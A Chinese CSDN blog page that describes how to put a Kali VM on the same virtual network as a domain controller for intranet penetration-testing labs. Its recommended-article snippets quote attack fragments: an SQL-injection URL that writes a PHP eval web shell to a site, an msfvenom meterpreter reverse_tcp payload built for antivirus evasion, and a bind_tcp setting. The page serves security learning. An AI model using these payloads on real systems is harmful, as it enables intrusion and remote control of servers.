kali绑定域控IP

最新推荐文章于 2024-09-14 23:29:27 发布
最新推荐文章于 2024-09-14 23:29:27 发布
阅读量280 收藏
点赞数 2
文章标签： 网络安全 vim 服务器
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_65434173/article/details/137507122
版权

在内网渗透过程中，若需要使用kali虚拟机需要将kali绑定到域控IP上 。

1.选择与域控虚拟机相同的网络适配器

例如：域控网络适配器是VMnet19，kali也应该选择相同的网络适配器。

2.kali中编辑vim /etc/network/interfaces 设置使用静态地址，IP，子网掩码，以及网关。

3.修改 /etc/resolv.conf 文件，添加域控IP为DNS

4.重启网卡或者虚拟机

systemctl restart NetworkManager

5.测试kali是否能ping得通域控IP

disciple C
关注
红队内网攻防渗透：内网渗透之内网对抗：横向移动篇&域控系统提权&NetLogon&ADCS&PAC&KDC&永恒之蓝&CVE漏洞
HACKONE的博客
06-24 536
当Windows系统的Active Directory证书服务（CS）在域上运行时，由于机器账号中的dNSHostName属性不具有唯一性，域中普通用户可以将其更改为高权限的域控机器账号属性，然后从Active Directory证书服务中获取域控机器账户的证书，导致域中普通用户权限提升为域管理员权限。set payload windows/x64/meterpreter/bind_tcp //正向连接上线。run post/multi/manage/autoroute //添加当前路由表。
内网渗透思路09之突破多层防护拿下域控
划水的小白白
06-01 2450
4.1 测试外网Linux服务器 4.1.1 确认目标使用CMS版本信息 4.1.2 测试CMS思路 4.1.3 目录扫描找到备份文件 4.1.4 登录后台拿shell 4.1.5 bypass 宝塔disable_functions 执行命令 4.1.6 信息收集密钥登录ssh 4.1.7 docker本地导入镜像文件提权root 4.1.8 openssl生成密文修改passwd获取root权限 4.2 测试外网win服务器 4.2.1 安装nmap扫描内网WEB服务器 4.2.2 jspxcms 后台
内网渗透思路08之常规外网打点拿下域控
划水的小白白
05-24 4206
这是一个完整的内网域渗透测试实例，从外网打到内网域控，使用技巧包括但不局限于，子域名碰撞测试 python编写渗透工具 用metasploit获取域控的ntml 明文 凭据 定位域控 制作白银票据 制作黄金票据 跨路由渗透 内网横行渗透 域控权限维持 cobaltscritke渗透内网域控等多种域渗透技巧。
【Web安全】内网渗透研究之利用MSF和Impacket工具拿域控
HBohan的博客
10-23 1500
内网渗透拿域控 环境：http://afsgr16-b1ferw.aqlab.cn/?id=1 【查看资料】 1、进去一看，典型的sql注入 2、测试了一下，可以爆库，也可以写一句话，并且还爆了绝对路径，直接拿shell，进入主题 ①将shell.php写入网站根目录，payload http://afsgr16-b1ferw.aqlab.cn/?id=1.1 union select 1,"<?php eval($_REQUEST[gylq]);?>" into outfile 'C:
Kali木马免杀，权限提升（kali本地木马免杀）
AI学习困难户的博客
02-15 5125
由于现在版本的木马查杀工具更新之快，木马在计算机上基本是裸奔的，再好的免杀技术也逃不过工具的查杀，下面是我研究很久的本地木马免杀，基本都是网上的百度总结，把可以是实现免杀的木马生成进行了总结。 免杀成功1（由于使用的是python载荷，由于权限问题，部分命令不可用） 使用pyinstall，先生成py再转换成exe文件 1.生成py文件 msfvenom -p python/meterpreter/reverse_tcp lhost=192.168.137.44 lport=4444 -f...
10、内网安全-横向移动&域控提权&NetLogon&ADCS&PAC&KDC&永恒之蓝
m0_65842464的博客
02-20 1510
​1、横向移动-系统漏洞-CVE-2017-0146（ms17-010，永恒之蓝） 永恒之蓝（CVE-2017-0146）复现（超详细）_永恒之蓝模型-CSDN博客 2、横向移动-域控提权-CVE-2014-6324 3、横向移动-域控提权-CVE-2020-1472（重点） 4、横向移动-域控提权-CVE-2021-42287（重点） 5、横向移动-域控提权-CVE-2022-26923（重点） ​
Meterpreter命令详解
sweelg的博客
05-29 2485
0x01初识Meterpreter 1.1.什么是Meterpreter Meterpreter是Metasploit框架中的一个扩展模块，作为溢出成功以后的攻击载荷使用，攻击载荷在溢出攻击成功以后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个Meterpreter shell的链接。Meterpreter shell作为渗透模块有很多有用的功能，比如添加一个用户、隐藏一些东西、打开shell、得到用户密码、上传下载远程主机的文件、运行cmd.exe、捕捉屏幕、得到远程控制权、捕获.
【内网安全】横向移动&域控提权&NetLogon&ADCS&PAC&KDC&永恒之蓝
今天是几号的博客
04-02 1266
当Windows系统的Active Directory证书服务（CS）在域上运行时，由于机器账号中的dNSHostName属性不具有唯一性，域中普通用户可以将其更改为高权限的域控机器账号属性，然后从Active Directory证书服务中获取域控机器账户的证书，导致域中普通用户权限提升为域管理员权限。
metasploit msfconsole 命令
未昔的博客
09-24 4629
metasploit msfconsole 命令 metasploit msfconsole 命令 复制代码 msf &gt; help db_autopwn Commands =================== Command Description ------- ----------- db_autopwn Automaticall...
非约束委派攻击原理与利用
内心不种满鲜花就会长满杂草
04-07 5440
在Kerberos认证体系中，用户通过票据（如TGT和ST）来访问服务。TGT（Ticket-Granting Ticket）是用户向密钥分发中心（KDC）请求并获得的，用于后续请求服务票据（ST）。ST则是用户访问特定服务时所需的票据。
获取域内信息工具哪家强 | 三款常用工具横向对比
Ms08067安全实验室
07-06 1021
文章来源｜MS08067 内网安全知识星球本文作者：掉到鱼缸里的猫（Ms08067内网安全小组成员）情景在测试过程中通过漏洞获取了边界节点的控制权，但该主机不在域中，或者不是windows...
Metasploit 整理笔记
热门推荐
不急不躁
07-12 1万+
一．名词解释 exploit 测试者利用它来攻击一个系统，程序，或服务，以获得开发者意料之外的结果。常见的 有内存溢出，网站程序漏洞利用，配置错误exploit。 payload 我们想让被攻击系统执行的程序，如reverse shell 可以从目标机器与测试者之间建立一 个反响连接，bind shell 绑定一个执行命令的通道至测试者的机器。payload 也可以是只 能在目标机器上
一文解读，网络安全行业人才需求情况《网络安全产业人才发展报告》
weixin_59086772的博客
10-18 8458
随着近几天国家网络安全宣传周在全国各地开展活动，网络安全再一次成为热门话题。网络安全不再缩在小小的安全圈子里，惠及面越来越广。不少对网络安全颇有兴趣的朋友非常关心行业前景如何？该怎么提升自我能力，更快地加入网安行列。 今天雨笋君就10月13日在网络安全宣传周上发布的《2021网络安全人才报告》进行一个简单的行业前景分析。 一、网络安全行业市场发展情况 网络时代生活越来越离不开网络，与此同时发生的网络安全攻击事件、非法入侵等等一系列事件都威胁着普通人的生活。没有网络安全保障，个人和企业等重.
Linux第五章 文本编辑器vim
tzy18739738749的博客
09-14 673
Linux第五章 文本编辑器vim
在 macOS 上管理 Node版本
最新发布
J_Lee
09-14 261
在 macOS 上管理 Node版本
Linux基础3-基础工具2（vim详解，gcc详解）
yzc的博客
09-14 801
Linux工具vim和gcc详解
Linux环境基础开发工具---vim
2301_76653277的博客
09-14 547
vim是一款多模式的编辑器，里面有很多子命令，来实现代码编写操作。
setImmediate() vs setTimeout() 在 JavaScript 中的区别
flytam的博客
09-14 543
在 JavaScript 中，和都用于调度任务，但它们的工作方式不同。
kali如何修改IP
09-14
Kali Linux是一款流行的渗透测试Linux发行版，它提供了强大的网络工具集合。在Kali Linux中修改IP地址可以通过多种方式实现，这里介绍一种使用命令行的方式。 1. 打开终端。 2. 首先，关闭你想要修改IP地址的网络接口。你可以使用如下命令来关闭指定的网络接口（假设网络接口名称为`eth0`）: ``` ifconfig eth0 down ``` 3. 修改IP地址，你需要指定网络接口名称、新的IP地址和子网掩码。这里是一个示例命令，将`eth0`接口的IP地址改为`192.168.1.100`，子网掩码为`255.255.255.0`: ``` ifconfig eth0 192.168.1.100 netmask 255.255.255.0 up ``` 请注意，如果你使用的是IPv6地址，你可能需要使用`ip`命令而不是`ifconfig`。比如： ``` ip addr add 2001:db8::1/64 dev eth0 ``` 4. 验证IP地址是否已经更改成功。可以使用以下命令查看指定接口的当前配置： ``` ifconfig eth0 ``` 或者使用`ip`命令： ``` ip addr show eth0 ```
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值